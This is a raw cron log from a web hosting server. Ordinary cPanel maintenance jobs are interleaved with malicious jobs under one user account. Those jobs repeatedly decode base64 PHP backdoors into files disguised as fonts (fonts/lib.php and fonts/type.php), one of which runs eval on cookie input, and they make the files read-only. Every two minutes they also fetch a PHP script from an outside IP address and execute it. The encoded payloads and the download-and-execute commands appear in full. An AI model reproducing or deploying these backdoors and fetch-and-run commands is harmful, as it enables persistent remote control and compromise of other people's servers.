Aug 31 06:49:01 ip-184-168-122-23 CROND[16851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:49:01 ip-184-168-122-23 CROND[16853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:49:01 ip-184-168-122-23 CROND[16854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:50:01 ip-184-168-122-23 CROND[17033]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:50:01 ip-184-168-122-23 CROND[17035]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 06:50:01 ip-184-168-122-23 CROND[17041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:50:01 ip-184-168-122-23 CROND[17038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:50:01 ip-184-168-122-23 CROND[17037]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:50:01 ip-184-168-122-23 CROND[17039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:50:01 ip-184-168-122-23 CROND[17036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:50:01 ip-184-168-122-23 CROND[17040]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 06:50:01 ip-184-168-122-23 CROND[17043]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:51:01 ip-184-168-122-23 CROND[17154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:51:01 ip-184-168-122-23 CROND[17156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:51:01 ip-184-168-122-23 CROND[17160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:51:01 ip-184-168-122-23 CROND[17159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:52:01 ip-184-168-122-23 CROND[17246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:52:01 ip-184-168-122-23 CROND[17249]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:52:01 ip-184-168-122-23 CROND[17250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:52:01 ip-184-168-122-23 CROND[17251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:52:01 ip-184-168-122-23 CROND[17248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:53:01 ip-184-168-122-23 CROND[17355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:53:01 ip-184-168-122-23 CROND[17358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:53:01 ip-184-168-122-23 CROND[17359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:53:01 ip-184-168-122-23 CROND[17357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:54:01 ip-184-168-122-23 CROND[17448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:54:01 ip-184-168-122-23 CROND[17450]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:54:01 ip-184-168-122-23 CROND[17452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:54:01 ip-184-168-122-23 CROND[17451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:54:01 ip-184-168-122-23 CROND[17453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:55:01 ip-184-168-122-23 CROND[17638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:55:01 ip-184-168-122-23 CROND[17639]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:55:01 ip-184-168-122-23 CROND[17641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:55:01 ip-184-168-122-23 CROND[17642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:55:01 ip-184-168-122-23 CROND[17643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:55:01 ip-184-168-122-23 CROND[17644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:56:01 ip-184-168-122-23 CROND[17773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:56:01 ip-184-168-122-23 CROND[17776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:56:01 ip-184-168-122-23 CROND[17777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:56:01 ip-184-168-122-23 CROND[17778]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:56:01 ip-184-168-122-23 CROND[17779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:57:01 ip-184-168-122-23 CROND[17874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:57:01 ip-184-168-122-23 CROND[17875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:57:01 ip-184-168-122-23 CROND[17877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:57:01 ip-184-168-122-23 CROND[17878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:58:01 ip-184-168-122-23 CROND[17985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:58:01 ip-184-168-122-23 CROND[17986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:58:01 ip-184-168-122-23 CROND[17989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:58:01 ip-184-168-122-23 CROND[17990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:58:01 ip-184-168-122-23 CROND[17988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:59:01 ip-184-168-122-23 CROND[18081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:59:01 ip-184-168-122-23 CROND[18082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:59:01 ip-184-168-122-23 CROND[18084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:59:01 ip-184-168-122-23 CROND[18083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:00:01 ip-184-168-122-23 CROND[18321]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:00:01 ip-184-168-122-23 CROND[18324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:00:01 ip-184-168-122-23 CROND[18326]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 07:00:01 ip-184-168-122-23 CROND[18332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:00:01 ip-184-168-122-23 CROND[18331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:00:01 ip-184-168-122-23 CROND[18329]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:00:01 ip-184-168-122-23 CROND[18330]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:00:01 ip-184-168-122-23 CROND[18335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:01:01 ip-184-168-122-23 CROND[18480]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 07:01:01 ip-184-168-122-23 CROND[18481]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 07:01:01 ip-184-168-122-23 CROND[18484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
